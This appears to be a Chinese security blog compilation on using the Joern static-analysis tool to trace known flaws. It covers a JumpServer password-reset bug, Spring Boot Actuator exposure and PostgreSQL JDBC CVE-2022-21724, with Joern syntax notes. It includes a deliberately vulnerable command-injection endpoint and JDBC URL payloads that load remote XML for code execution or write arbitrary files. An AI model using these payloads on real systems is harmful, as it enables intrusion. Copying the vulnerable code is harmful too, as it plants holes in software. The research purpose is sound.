2

cpg.literal("\"password\"").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.map(m=>List(m.asInstanceOf[io.shiftleft.codepropert
y raph.generated.nodes.Method].fullName)).l).dedup.l

可以顺着这里找到写入默认账户的位置

前面提到的默认账户修改密码的点也能搜索到，这里甚至可以直接用默认账号和密码

除此之外寻找版本号的位置也可以用joern来完成，直接搜索调用了version变量的地方

1

cpg.identifier("version").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.map(m=>List(m.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName)).l).dedup.l

直接找到了对应的getVersion方法

通过joern提供的从属关系图可以快速锁定我们要寻找的大致目标，其中的问题也相当实际，你很难在不熟悉代码的情况下利用joern做深入的扫描，这也是joern类工具的症结之一

• https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp

漏洞原理其实比较神奇，一个常用的第三方组件库django-simple-captcha有泄露随机数种子的问题，再配合Jumpserver使用了错误的随机数方案导致了最终的漏洞。

漏洞成因

这里我们的目标不是分析漏洞，所以这里简单快速的分析下漏洞的成因，具体的漏洞分析可以看下面两篇文章

• https://www.leavesongs.com/PENETRATION/jumpserver-sep-2023-multiple-vulnerabilities-go-through.html
• https://www.cnblogs.com/zpchcbd/p/17747778.html

在分析代码级的漏洞成因之前，我想作为计算机相关的工作者，我们应该都有一个共识，就是计算机中没有真正意义的伪随机，无论是任何语言的随机数生成函数几乎都是从类似 /dev/random的地方取值，这里我们不讨论随机数底层的问题。

在代码的上层，我们几乎可以认为如果你不知道随机数的种子，那么你就无法对随机数做出预测。换言之，如果我们知道随机数的种子，我们就有一定的概率预测随机数。

django-simple-captcha是Django的相关组件中非常流行的验证码生成库，就像phith0n所说，在国内你几乎没有别的选择，引入的方式超级简单，只要在配置里引入对应库

1
2
3

INSTALLED_APPS = [
    ...
    'captcha',

然后加入对应的验证码路由

1
2
3

urlpatterns += [
path('core/auth/captcha/', include('captcha.urls')),
]

最后只要在对应的form中加入验证码的字段就行了

1
2

class CaptchaMixin(forms.Form):
    captcha = CaptchaField(widget=CustomCaptchaTextInput, label=_('Captcha'))

但事实上，看似简单的django-simple-captcha中实际包含着一个很大的问题。

django-simple-captcha 随机数种子泄露

这个问题在0.5.19版本中被修复

这里其实涉及到了django-simple-captcha的一个feature，在设计上其实是允许通过key来指定随机数种子的，这个feature是为了让同一个key可以对应同一个验证码，用来实现验证码的对应。

而这里的key是一个已知的值，就是用于生成验证码的参数

换言之，我们可以得知当前Random的随机数种子，甚至可以控制这个种子。

修复的方案也很简单粗暴，只要在生成结束之后用随机一个新种子就可以了

• https://github.com/mbi/django-simple-captcha/commit/dcf1ccda3b12df179eaa5c0ebec95a897e96245f

那么这对jumpserver又有什么影响呢？

JumpServer 密码重置漏洞

相比django-simple-captcha来说，JumpServer更像是一个受害者，虽然存在一些安全隐患但本身并不致命。我们可以猜想一下随机数在一般的系统里常用的场景。

• 重置密码
• 激活码、兑换码

相比激活码的场景来说，重置密码的常见程度更高，如果系统内没有刻意对管理员账号做限制，那么如果可以预测重置密码的验证结果，那么就可以获得一个超级管理员权限，而JumpServer的代码中是这样做的。

/apps/authentication/api/password.py

重置密码用的code使用了random_string来生成，然后看看random_string的定义

这个函数在jumpserver中重做过好几次，但大同小异，其实就是用random.choice从列表中选取随机字符，最终生成最后的验证码。

这里我们不去细纠这个利用方式中的细节点，这不是本篇文章的讨论重点，简单来说就是

• 通过**django-simple-captcha泄露当前random的种子**
• 通过种子推测有限次的random结果（其中不仅仅包括密码重置token，还有验证码噪点等）

这样我们就通过对随机数的预测实现进一步的漏洞利用，而修复的方案也很简单

在最初版本的修复方案中，Jumpserver在获取密码重置token时重置了当前随机数种子。这个修复方案也没什么问题。

在后来的改动中，可能是因为看了P牛的文章，Jumpserver把random换成了secrets，相对来说比前一个方案更稳定一些，也是相关文档中推荐的方案

For Joern

从源代码的角度来讲，这个漏洞成因可以分成两部分

• 存在泄露随机数种子，或者可以控制随机数种子的位置
• 在未显式重置随机数种子的基础上，引用了random来生成随机数

随机数种子泄露

其实这个漏洞用Joern来处理挺吃力的，首先是Joern只会处理目标目录下的源码，而在正常的环境下，python引入的包其实都在python的目录下，也就是说理论上我们无法在分析项目的时候，顺便分析django-simple-captcha。

这里我们强行引入下分析django-simple-captcha包

1
2
3
4
5
6
7
8
9
10
11
12
13

> .\joern

     ██╗ ██████╗ ███████╗██████╗ ███╗   ██╗
     ██║██╔═══██╗██╔════╝██╔══██╗████╗  ██║
     ██║██║   ██║█████╗  ██████╔╝██╔██╗ ██║
██   ██║██║   ██║██╔══╝  ██╔══██╗██║╚██╗██║
╚█████╔╝╚██████╔╝███████╗██║  ██║██║ ╚████║
 ╚════╝  ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝
Version: 2.0.52
Type `help` to begin


joern> importCode("../captcha/")

先找到random.seed调用的位置

先检查调用位置到函数定义位置是否有数据联通

1
2
3
4

def source = cpg.method("seed").caller.parameter
def sink = cpg.method("seed").callIn

sink.reachableByFlows(source).p

得到的答案是肯定的，seed的参数key可控，接着找对应的路由，在django里路由一般是用path，而这个组件使用re_path

1
2

from django.urls import path
from django.urls import re_path

我们可以直接快捷的查看相应的路由函数调用位置

然后通过对应的调用函数来获取指定的路由

1

cpg.method("re_path").callIn.filter(_._callViaAstOut.code.contains("views.captcha_image")).l

当然可能也不用这么麻烦，理论上来说直接设置source也是可以连起来的，只不过re_path读取key的方式是正则匹配，所以原装的reachableByFlows无法处理这种情况，我们只能强行做一些限制

1

cpg.method("re_path").callIn.filter(_._callViaAstOut.code.contains("views.captcha_image")).filterNot(_.argument.code.contains("<key>")).l

由于这条命令可以获取结果，所以代表着存在可以设置随机数种子的路由和对应的参数。

当然，由于漏洞的特殊性不仅仅在于可控，还需要后续没有进一步重置随机数种子，所以我们还需要更多的条件来确认这一点。

其实要做到这点也并不复杂，只需要确认，在设置seed种子的方法中，没有调用过无参的seed方法即可。

1

cpg.method("seed").caller.filter(_._callViaContainsOut.filter(_.name.contains("seed")).filter(_.argument.size<2).size==0).l

上面这条命令的意思是

• 寻找seed方法的调用方法
• 寻找该方法中调用的方法中，名字为seed，并参数为0(joern中，参数index为0的位置表示为this，也就是当前方法所属的类)
• 展示调用方法中，满足条件的调用数量为0的方法

如果返回结果，则证明该方法中没有重置新的随机数种子，当然，到这里并不能完全的验证这个结论，毕竟这里指处理了显式重置，如果是更严格的数据流分析，应该从重置随机数种子的位置入手，确认是否有数据流经过，但这种方案对于joern来说比较困难，这里先不深入到这个级别研究。

JumpServer密码重置漏洞

这里分析JumpServer的时候遇到的最大的问题是JumpServer的代码量有点儿大，导入到Joern里有83万个节点:<

其实相比Django-simple-captcha的问题来说，JumpServer的问题在源代码的角度上来说更不像一个问题，只能算是一个使用错误的范例，有潜在的风险。我们需要用joern完成的工作包括两部分

• 在获取随机数之前，没有重置过随机数种子
• 在获取随机数之前，共执行了多少次随机操作

先找到对应调用random.choice方法的方法

而调用过seed方法重置随机数种子的位置只有一个，看了一下没有相关的引用关系，看上去像是一段测试代码

由于场景特殊，这里我们用不到那么深入的数据流分析，只需要在对应重置密码的路由中确认是否调用random.choice方法就行了

这里直接用repeat untils来实现就可以

repeat…untils…还是那个老问题，容易递归爆炸，路径重复问题严重，我觉得这是joern实现里一个非常普遍的问题，但至少可以确定两个调用位置的连通性。

接下来我们的问题变成了，我们如何知道在这条数据流中random调用了多少次。

我尝试了几次之后发现，如果想要在语句上控制限制范围，以确认random的调用次数，会遇到比较多的问题，正向分析的深入深度问题，以及循环分支的次数数据问题，问题比想象中的大，我暂且认为这不是joern的适用场景。

而相应的修复就更简单了，直接换用secrets替代random会直接影响到前面的方法发现，我们就无法获得对应的数据流了。

本篇内容可以结合https://cpg.joern.io/食用

基础常见节点结构

Annotation 注解

Annotation是Java中的注解节点

• astOut：通过ast边指向的节点列表
• astIn：通过ast边指向Annotation的节点列表
• argumentOut：Annotation的参数节点列表
• _annotationParameterAssignViaAstOut：Annotation的参数(ANNOTATION_PARAMETER_ASSIGN)节点列表
• __memberViaAstIn：通过ast边指向的member节点列表
• __methodViaAstIn：通过ast边指向的method节点列表
• __methodParameterInViaAstIn：通过ast边指向的method参数节点列表
• _typeDeclViaAstIn：Annotation对应的类定义节点列表

argument 参数

• _expressionViaArgumentOut：通过ARGUMENT边指向的argument节点列表
• _astNodeViaArgumentOut：通过ARGUMENT边指向的ast节点列表
• astIn：通过AST边指向Argument的节点列表

if/else/for/do/continue/break/throw/switch/try/while条件分支

包含已知的所有分支跳转循环节点，包括if/else/for/do/continue/break/throw/switch/try/while等…

• argumentOut：条件节点指向的argument节点列表
• astOut：通过ast边指向的节点列表
• _blockViaAstOut：通过ast边指向的block节点列表
• _callViaAstOut：通过ast边指向的call节点列表
• _controlStructureViaAstOut：通过ast边指向的条件分支节点列表
• _identifierViaAstOut：通过ast边指向的变量列表
• _returnViaAstOut：通过ast边指向的return节点列表
• cdgOut：通过cdg边指向的节点列表
• _blockViaCdgOut：通过cdg边指向的block节点列表
• _callViaCdgOut：通过cdg边指向的call节点列表
• _controlStructureViaCdgOut：通过cdg边指向的条件分支节点列表
• _returnViaCdgOut：通过cdg边指向的return节点列表
• cfgOut：通过cfg边指向的节点列表
• conditionOut：条件分支(if, else if)对应的条件节点列表
• _blockViaConditionOut：条件分支(if, else if)对应的block类型条件节点列表
• _callViaConditionOut：条件分支(if, else if)对应的call类型条件节点列表
• _controlStructureViaConditionOut: 条件分支(if, else if)对应的同样为条件分支(else if)的条件节点列表
• astIn: 通过ast边指向当前节点的节点列表
• _blockViaAstIn：通过ast边指向当前节点的block节点列表
• _callViaAstIn：通过ast边指向当前节点的call节点列表
• containsIn：包含当前节点的Method节点列表

call 调用

• argumentOut：指向调用节点的参数节点列表
• _blockViaArgumentOut：指向调用节点的block类型参数节点列表
• _callViaArgumentOut：指向调用节点的call类型参数节点列表
• _controlStructureViaArgumentOut：指向调用节点的条件分支类型参数节点列表
• astOut：通过ast边指向的节点列表
• _blockViaAstOut：通过ast边指向的block节点列表
• _callViaAstOut：通过ast边指向的call节点列表
• _controlStructureViaAstOut：通过ast边指向的条件分支节点列表
• _identifierViaAstOut：通过ast边指向的变量列表
• _returnViaAstOut：通过ast边指向的return节点列表
• _methodViaCallOut：call调用的对应method节点
• cdgOut：通过cdg边指向的节点列表
• _blockViaCdgOut：通过cdg边指向的block节点列表
• _callViaCdgOut：通过cdg边指向的call节点列表
• _controlStructureViaCdgOut：通过cdg边指向的条件分支节点列表
• _returnViaCdgOut：通过cdg边指向的return节点列表
• cfgOut：通过cfg边指向的节点列表
• conditionOut：条件分支(if, else if)对应的条件节点列表
• _blockViaConditionOut：条件分支(if, else if)对应的block类型条件节点列表
• _callViaConditionOut：条件分支(if, else if)对应的call类型条件节点列表
• _controlStructureViaConditionOut: 条件分支(if, else if)对应的同样为条件分支(else if)的条件节点列表
• astIn: 通过ast边指向当前节点的节点列表
• _blockViaAstIn：通过ast边指向当前节点的block节点列表
• _callViaAstIn：通过ast边指向当前节点的call节点列表
• containsIn：包含当前节点的Method节点列表

Comment 注释

• file：注释所在的file节点
• astIn：通过ast边指向当前节点的节点列表
• _fileViaAstIn：指向当前注释节点的文件节点
• sourceFileIn：通过SOURCE_FILE指向当前节点的节点列表

File 文件

• astOut：file节点通过ast边指向的节点列表
• comment：file节点对应的comment节点
• _importViaAstOut：file节点对应的import节点
• _namespaceBlockViaAstOut：file节点对应namespace节点
• containsOut：file节点包含的节点列表
• _methodViaContainsOut：file节点包含的method节点列表
• _typeDeclViaContainsOut：file节点包含的类定义节点列表
• sourceFileIn：通过SOURCE_FILE边连接到当前节点的节点列表
• method：通过SOURCE_FILE边连接到当前节点的method节点列表
• namespaceBlock：通过SOURCE_FILE边连接到当前节点的namespaceBlock节点列表
• typeDecl：通过SOURCE_FILE边连接到当前节点的typeDecl节点列表

method 方法

• astOut：通过ast边指向的节点列表
• _annotationViaAstOut：通过ast边指向的annotation节点列表
• _methodViaCallOut：call调用的对应method节点
• block：method节点下对应的block节点
• parameter：method节点对应参数节点列表
• _methodParameterOutViaAstOut：method对应的METHOD_PARAMETER_OUT节点
• methodReturn：method节点对应的return节点列表
• _modifierViaAstOut：method节点对应的modifier修饰词
• _typeDeclViaAstOut：method节点对应的class节点
• cfgOut：通过cfg边指向的节点列表
• cfgFirst：通过cfg边指向的第一个节点
• containsOut：method通过contains边指向的节点列表
• _blockViaContainsOut：method通过contains边指向的block节点列表
• _callViaContainsOut：method通过contains边指向的call节点列表
• _controlStructureViaContainsOut：method通过contains边指向的条件节点列表
• astIn: 通过ast边指向当前节点的节点列表
• _blockViaAstIn：通过ast边指向当前节点的block节点列表
• _namespaceBlockViaAstIn：通过ast边指向当前节点的namespaceBlock节点列表
• _typeDeclViaAstIn：通过ast边指向当前节点的类定义节点列表
• callIn：当前method节点的对应call调用节点
• cfgIn：通过cfg边指向当前节点的节点列表
• containsIn：包含当前节点的节点列表，通过contains边指向当前节点
• _fileViaContainsIn：包含当前节点的file节点
• _typeDeclViaContainsIn：包含当前节点的类定义节点

namespace 命名空间

joern中命名空间分为namespace和namespaceBlock两个节点，file->namespaceBlock->namespace，所以这两个节点可以混在一起讲

• Namespace._namespaceBlockViaRefIn：指向namespace的namespaceBlock节点
• NamespaceBlock._namespaceViaRefOut：bock对应的namespace节点
• NamespaceBlock.astOut：namespaceBlock节点通过ast边指向的节点
• NamespaceBlock._methodViaAstOut：通过ast边指向的method节点
• NamespaceBlock._typeDeclViaAstOut：通过ast边指向的class类定义节点
• NamespaceBlock.sourceFileOut：namespace对应的file节点
• NamespaceBlock._fileViaSourceFileOut：namespace对应的file节点
• NamespaceBlock.astIn：通过ast边指向当前节点的节点列表
• NamespaceBlock._fileViaAstIn：通过ast边指向当前节点的file节点列表

parameter 参数

parameter在joern被定义为，函数定义的参数，而不是函数调用的参数，所以这个节点几乎只和method节点链接

• astOut：通过ast边指向的节点列表
• typ：参数节点对应的类型
• parameterLinkOut：参数节点对应的返回节点列表
• method：参数节点对应的method节点

ret 返回值

return对应method节点的返回

• argumentOut：通过argument边指向的节点列表
• astOut：通过ast边指向的节点列表
• _blockViaAstOut：通过ast边指向的block节点列表
• _callViaAstOut：通过ast边指向的call节点列表
• _controlStructureViaAstOut：通过ast边指向的条件分支节点列表
• _identifierViaAstOut：通过ast边指向的变量列表
• _returnViaAstOut：通过ast边指向的return节点列表
• _methodReturnViaCfgOut：return节点对应的method节点
• astIn: 通过ast边指向当前节点的节点列表
• _blockViaAstIn：通过ast边指向当前节点的block节点列表
• _callViaAstIn：通过ast边指向当前节点的call节点列表
• _controlStructureViaAstIn：通过ast边指向当前节点的条件分支节点列表
• cfgIn：通过cfg边指向当前节点的节点列表
• containsIn：包含当前节点的节点列表，通过contains边指向当前节点
• _methodViaContainsIn：包含当前节点的method节点
• conditionIn：和当前节点有直接关系的条件节点
• _controlStructureViaConditionIn：和当前节点有直接关系的条件节点

TypeDecl 类定义

TypeDecl等于常规意义上class的概念

• astOut：通过ast边指向的节点列表
• _annotationViaAstOut：通过ast边指向的annotation节点列表
• _memberViaAstOut：通过ast边指向的member变量列表
• _methodViaAstOut：通过ast边指向的method节点列表
• _typeDeclViaAstOut：通过ast边指向的class类定义节点
• _methodViaContainsOut：类节点下包含的方法节点
• inheritsFromOut：继承自的class类定义节点
• sourceFileOut：当前节点所属的file节点
• _fileViaSourceFileOut：当前节点所属的file节点
• astIn: 通过ast边指向当前节点的节点列表
• _methodViaAstIn：通过ast边指向当前节点的method节点列表
• namespaceBlock：通过ast边指向当前节点的namespaceBlock节点列表
• _typeDeclViaAstIn：通过ast边指向当前节点的class类定义节点

特殊语法关系

method方法特殊语法

1
2
3
4
5
6
7
8
9

@GetMapping("/codeinject")
public String codeInject(String filepath) throws IOException {

    String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};
    ProcessBuilder builder = new ProcessBuilder(cmdList);
    builder.redirectErrorStream(true);
    Process process = builder.start();
    return WebUtils.convertStreamToString(process.getInputStream());
}

• caller

当前节点的调用位置方法，比如cpg.method("start").caller就会返回codeInject方法

• callIn

当前方法/函数节点的调用位置，比如cpg.method("start").callIn就会返回调用start方法的call节点

• cpg.method(“start”)

名为start的方法的定义节点

读取向外的所有边

• cpg.method.head.outE.map(n=>n.label).l

获取当前节点向外所有的边，并展示边类型

• cpg.method.head.outE.map(n=>n.inNode).l

获取当前节点向外所有的边，并展示连接到的节点

这里我选用Java-sec-code的范例代码做第一部分，这篇文章记录了两个比较经典的漏洞

• Springboot Acutators导致命令执行
• postgreSQL jdbc反序列化漏洞(CVE-2022-21724)

Joern分析Java代码可以选择用代码文件夹也可以选择直接分析jar包

1

importCode("../../java-sec-code/target/java-sec-code-1.0.0.jar")

Springboot Acutators配置问题

• https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE#reference
• https://github.com/LandGrey/SpringBootVulExploit#0x01%E8%B7%AF%E7%94%B1%E5%9C%B0%E5%9D%80%E5%8F%8A%E6%8E%A5%E5%8F%A3%E8%B0%83%E7%94%A8%E8%AF%A6%E6%83%85%E6%B3%84%E6%BC%8F
• https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

SpringBoot Actuator是SpringBoot内置的一个监控管理插件。只要引用组件就会开启对应的功能

1
2
3
4
5
6
7
8
9

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-actuator</artifactId>
</dependency>

开启后SpringBoot 1.x起始路径为/，2.x的起始路径为/actuator

暴露路由本身不能算太大的安全问题，只能说配置不当可能导致信息泄露，可以参spring-boot.txt。

Actuator的接口配合一些组件就可能导致RCE，但防御的方法大多都是对Actuator做鉴权限制。

• Actuators + jolokia

1
2
3
4
5
6

<!-- SpringBoot Actuator命令执行的库 -->
<dependency>
    <groupId>org.jolokia</groupId>
    <artifactId>jolokia-core</artifactId>
    <version>1.6.0</version>
</dependency>

配合jolokia的接口可以实现jndi注入导致RCE

• Actuators + Spring Cloud
• https://www.freebuf.com/column/234719.html

1
2
3
4
5

<dependency>
    <groupId>org.springframework.cloud</groupId>
    <artifactId>spring-cloud-starter-netflix-eureka-client</artifactId>
    <version>1.4.0.RELEASE</version>
</dependency>

首先组件上引用eureka才行，并且Eureka-Client <1.8.7（多见于Spring Cloud Netflix）

其次需要Application要有@EnableEurekaClient注解

1
2
3
4
5
6
7
8
9
10
11

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.cloud.netflix.eureka.EnableEurekaClient;

@SpringBootApplication
@EnableEurekaClient
public class Application {
    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }
}

for Joern

我首先遇到的问题就是，这个漏洞其实配置问题大于其他问题，我研究了很久认为这个问题在Joern中是不可解的。

一方面Acutators开启只需要组件引用即可，另一方面比较常见的修复手段是增加鉴权，加入鉴权组件并开启配置

1
2
3
4
5
6
7
8
9
10

# pom.xml
<dependency>
<groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>

# for application.properties
management.security.enabled=true
security.user.name=admin
security.user.password=admin

哪怕不是用这个鉴权组件但也大同小异，关闭敏感端点之类的。

而问题回到Joern上，Joern虽然定义了ConfigFile节点，但并没有读取所有的配置文件，包括pom.xml。或者说pom.xml在Joern眼中不算是个配置文件。

即便是读取了application.properties这个文件，但ConfigFile节点只有文件内容，并没有对所有的配置做分析转化。而且有时候configFile就是完全空的，也不知道问题在哪。

这个处理方式虽然很奇怪但也算能理解，Joern作为一个静态分析代码的框架，他的理念就是把上层和下层做拆分，下层只需要把代码转成CPG，上层只需要在CPG上做数据分析。

对于Joern来说，上层和下层没有直通渠道，非代码层面的信息则会被忽略掉，而专注于代码层面，这是Joern的设计理念，但同样是Joern的局限性。

• 一方面由于没有pom.xml的数据，所以无法判断Acutators是否开启，且无法判断版本。
• 从SpringBoot 2.X开始，端点默认只暴露health和info，需要从配置文件里获取开启的端点，不一定能读到这个配置文件内容
• Acutators这个问题核心其实是不能未授权+向公网暴露，而这个鉴权配置也是从配置文件里读到的

1

cpg.configFile.name(".*application.properties").where(_.content(".*management.security.enabled=false.*")).l

• Acutators暴露的实际影响其实和依赖的组件有关系，比如配合eureka才有xtream反序列漏洞，而没有依赖组件数据，所以也无从判断。

postgreSQL jdbc反序列化漏洞(CVE-2022-21724)

• https://xz.aliyun.com/t/11812

1
2

9.4.1208 <= org.postgresql.postgresql < 42.2.25
42.3.0 <= org.postgresql.postgresql < 42.3.2

当PostgreSQL的jdbc url属性可控时，可以通过authenticationPluginClassName、sslhostnameverifier、socketFactory、sslfactory、sslpasswordcallback 连接属性提供类名实例化插件实例。

• 漏洞代码

1
2
3
4
5
6
7

@RequestMapping("/postgresql")
public void postgresql(String jdbcUrlBase64) throws Exception{
    byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
    String jdbcUrl = new String(b);
    log.info(jdbcUrl);
    DriverManager.getConnection(jdbcUrl);
}

其实漏洞点的Joern的公式特别简单，说白了就是只要jdbc的连接链接可控就行了。

1
2
3

def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter

def sink = cpg.call.name("getConnection")

直接寻找source和sink之间的数据流

1

sink.reachableByFlows(source).p

可以发现我们找到了包括目标在内的5条数据流，这里的第一个问题是，我们没法确定jdbc是否支持postgreSQL来作为数据库。

在确定了入口可控之后，理论上配合组件版本其实我们就可以判断代码中是否存在该问题了，但我们并没有这个数据。

for PostgreSQL code

当然在静态分析的层面，我们需要从代码的角度验证漏洞存在，我们遇到的第二个问题自然是利用链的问题，所以我们需要直接去分析postgresql的组件代码。

1

importCode("D:/program/java_pro/postgresql-42.3.1.jar", "postgresql")

当我们可控jdbc的连接的时候，我们就可以通过构造类似的请求来调用不同类的方法来实现我们想要的结果。

1
2
3
4
5
6
7
8
9
10
11

# 命令执行
jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://test.joychou.org/1.xml

# 配合FileOutputStream操作文件
jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=java.io.FileOutputStream&socketFactoryArg=test.txt

# sslfactory&sslfactroyarg，任意代码执行
jdbc:postgresql://127.0.0.1:5432/test/?sslfactory=org.spring.framework.context.support.ClassPathXmlApplicationContext&sslfactoryarg=http://test.joychou.org/1.xml

# loggerLevel&loggerFile，任意文件写
jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=debug&loggerFile=test.txt&test

这里具体的利用链我们就不重复讲了，可以直接参考上面的链接，重要的是我们怎么在joern中复现这个问题。

我们拿第一个漏洞socketFactory&socketFactoryArg的利用链作为目标来看看

从getConnection方法处，jdbc会根据不同的请求分发至不同的组件。

从connect方法一路跟进org.postgresql的代码当中，链接之后的参数会被拆解为字典然后分别进入不同的配置中，也就是说等于到url这里我们就是可控的，也就是作为source，进到包里的这个入口是connect方法

1

def source = cpg.method.name("connect")

最终导致漏洞的核心点则是可控的newInstance

所以我们假定调用方法newInstance是sink点，可以用caller获取调用该方法的地方，也是可以读到我们目标类方法的。

1

def sink = cpg.method.name("newInstance")

到这里我们会遇到一个比较大的问题，当我们试图用简单的reachableByFlows时，会无法获取到结果。

但如果我们手动去一步一步拆解caller，发现是可以一路跟到source节点的。

1

cpg.method.name("newInstance").repeat(_.caller)(_.maxDepth(10)).name("connect").fullName.dedup.l

repeat这个语法问题相当多，如果用repeat…until…这个语法，很大概率会卡死，几乎跑realworld代码没有不卡死的，所以我改用了限制maxDepth+条件判断的方式来查询，还算可以解决。

当然这样只能拿到最终的节点，我们可以用一个文档里没写的overflowdb语法enablePathTracking来展示调用链，这部分内容我是从@Lightless的博客偷来的。

• https://lightless.me/archives/analyze-apache-commons-text-with-joern.html

1

cpg.method.name("newInstance").enablePathTracking.repeat(_.caller)(_.maxDepth(10)).name("connect").path.map(path=>path.filter(n=>n.isInstanceOf[Method]).map(n=>{val nn = n.asInstanceOf[Method];nn.fullName})).dedup.l

当然，由于enablePathTracking的表现力很差，所以我们也可以用自己实现一套repeat，来解决重复调用等各种问题，这个代码同样来自于@LightLess。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

def findUntil(initStep: Traversal[Method], stopStep: Traversal[Method], maxIdx: Int) : List[Vector[Method]] = {
    var nextBuffer: List[Vector[Method]] = List()
    var finalResult: List[Vector[Method]] = List()
    var results: List[Vector[Method]] = List()
    val stopList = stopStep.l
    val stopIdList = stopList.map(n => n.id).l
    println("stopList.size:" + stopList.size)
    println("stopIdList: " + stopIdList)

    for (idx <- 1 to maxIdx) {
        // 第一次查找，使用初始条件作为起始
        if (idx == 1) {
            for (it <- initStep) {
                finalResult = finalResult :+ Vector(it)
            }
        }

        // 处理 finalResult 中的每一条路径，取每条 path 的最后一项调用 caller
        for (eachPath <- finalResult) {
            
            var eachPathIdList = eachPath.filter(n => n.isInstanceOf[Method]).map(n => {
                n.asInstanceOf[Method].id
            }).l

            var newNodes = eachPath.last.asInstanceOf[Method].caller.dedup
            for (newNode <- newNodes) {
                // 检查 newPath 是否存在环，如果存在，则跳过，如果不存在，加到结果列表中
                if (!eachPathIdList.contains(newNode.id)) {
                    val newPath = eachPath :+ newNode
                    nextBuffer = nextBuffer :+ newPath

                    // 检查是否满足终结条件，如果满足，就加到resutls里
                    if (stopIdList.contains(newNode.id)) {
                        results = results :+ newPath
                    }
                }
            }
        }

        // 所有的路径都处理完了，结果放在 nextBuffer 中
        finalResult = nextBuffer
        nextBuffer = List()
    }
    return results
}

这个findUntil实现了repeat…untail…times的功能，而且也做了一定的去重和优化

1
2
3
4

def sink = cpg.method.name("newInstance")
def source = cpg.method.name("connect")

findUntil(sink, source, 10).map(path => path.map(node => (node.fullName))).dedup.l

虽然这里的函数调用链是正确的，但这里面有个很大的区别就是，通过repeat获取的节点非常粗暴，并不一定是成数据流。

拿下面这段代码举例子，理论上来说数据流分析应该从ctor开始一点一点往上，一直找到classname参数，然后再到方法instantiate，但如果直接用caller会直接获取到instantiate方法，也就是直接到父节点。

但事实上如果数据流追不到参数，实际上是数据流是不通的，这种方式太粗暴，有效度也不会太高。连数据流分析的层面都到不了，更别谈过程间分析了。

最关键的是，仔细研究后感觉这部分在joern中坑相当大，说白了就是Joern的CPG结构中其实没有这种执行流概念，节点之间链接只有AST指向，边的特性也没有明确的显示。

用比较通俗的话讲，就是CPG更强调调用关系，就比如调用NewInstance方法的位置属于方法Instantiate的子节点，而具体到代码块执行流程，则只是简单的AST指向关系，除了有向边以外，也没有显示这种指向关系的特殊性。

这方面的问题需要再花时间研究一下，这篇文章先不深入去讲。后面专门写文章研究这部分。

其他利用链

我们仿照第一个利用链的语法，直接模拟一下其他几个利用链的挖掘方式

• 任意代码执行 sslfactory/sslfactoryarg

1
2

# sslfactory&sslfactroyarg，任意代码执行
jdbc:postgresql://127.0.0.1:5432/test/?sslfactory=org.spring.framework.context.support.ClassPathXmlApplicationContext&sslfactoryarg=http://test.joychou.org/1.xml

对应的利用链其实和上一个是一样的，入口都是connect，漏洞点都是newinstance，这条利用链用上面的代码就可以查询到

1
2
3
4

def sink = cpg.method.name("newInstance")
def source = cpg.method.name("connect")

findUntil(sink, source, 10).map(path => path.map(node => (node.fullName))).dedup.l

• 任意文件写入 loggerLevel/loggerFile

1
2

# loggerLevel&loggerFile，任意文件写
jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=debug&loggerFile=test.txt&test

这个漏洞的利用链相对特殊，其实是利用了logger本身的功能，通过配置log写入的文件来实现任意文件写

这里类初始化的操作在joern被标记为，所以sink为

1

cpg.method.where(_.name("<init>")).where(_.fullName(".*FileHandler.*"))

这样我们再次追利用链

1
2
3
4

def sink = cpg.method.where(_.name("<init>")).where(_.fullName(".*FileHandler.*"))
def source = cpg.method.name("connect")

findUntil(sink, source, 10).map(path => path.map(node => (node.fullName))).dedup.l

完善利用链

在找到可控的**newInstance位置**之后，我们还需要继续完善利用链的最后一步。

根据我们刚才找到的漏洞位置，我们需要找到一个对应的构造方法参数为一个String的类来做进一步利用。

在Joern中可以通过寻找构造函数的关键字，再限制方法的返回类型来寻找这样的类.

1

cpg.method.where(_.isConstructor).whereNot(_.typeDecl.isAbstract).fullName(".*:void\\(java.lang.String\\).*").fullName.l

当然这里找到的类是不全的，这里的问题和前面类似。Joern不会解jar包里的jar包，所以无法跟进去分析整个项目的依赖，自然也就没办法找到完整的利用点，这里不赘述了

修复

这个漏洞的修复也相当粗暴，在我们找到的最终执行命令的初始化任意类的地方，新版本直接指定获取的类名必须是指定类的子类，直接限制了后续的利用条件

• https://lorexxar.cn/2023/08/21/joern-and-cpg/
• https://lorexxar.cn/2023/08/22/joern2/

在研究Joern和Neo4j的过程中，我遇到了一个相当大的问题，就是由于我对OverflowDB包括scala和cypher语言都不熟。Joern和Neo4j分别支持这几种冷门语言，而相应的文档其实没有解决我的问题。

所以在继续研究Joern之前，先花时间简单记录一些Joern和Neo4j实用的语法和范例，给自己当个字典随时可以查阅。

Joern

• https://docs.joern.io/cpgql/reference-card/
• https://docs.joern.io/cpgql/node-type-steps/

节点获取

• cpg.method.name(‘xxx’)
• cpg.method(‘xxx’)

寻找对应名字的方法定义的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

joern> cpg.method.name("getRequestBody").l
val res4: List[io.shiftleft.codepropertygraph.generated.nodes.Method] = List(
  Method(
    id = 15337L,
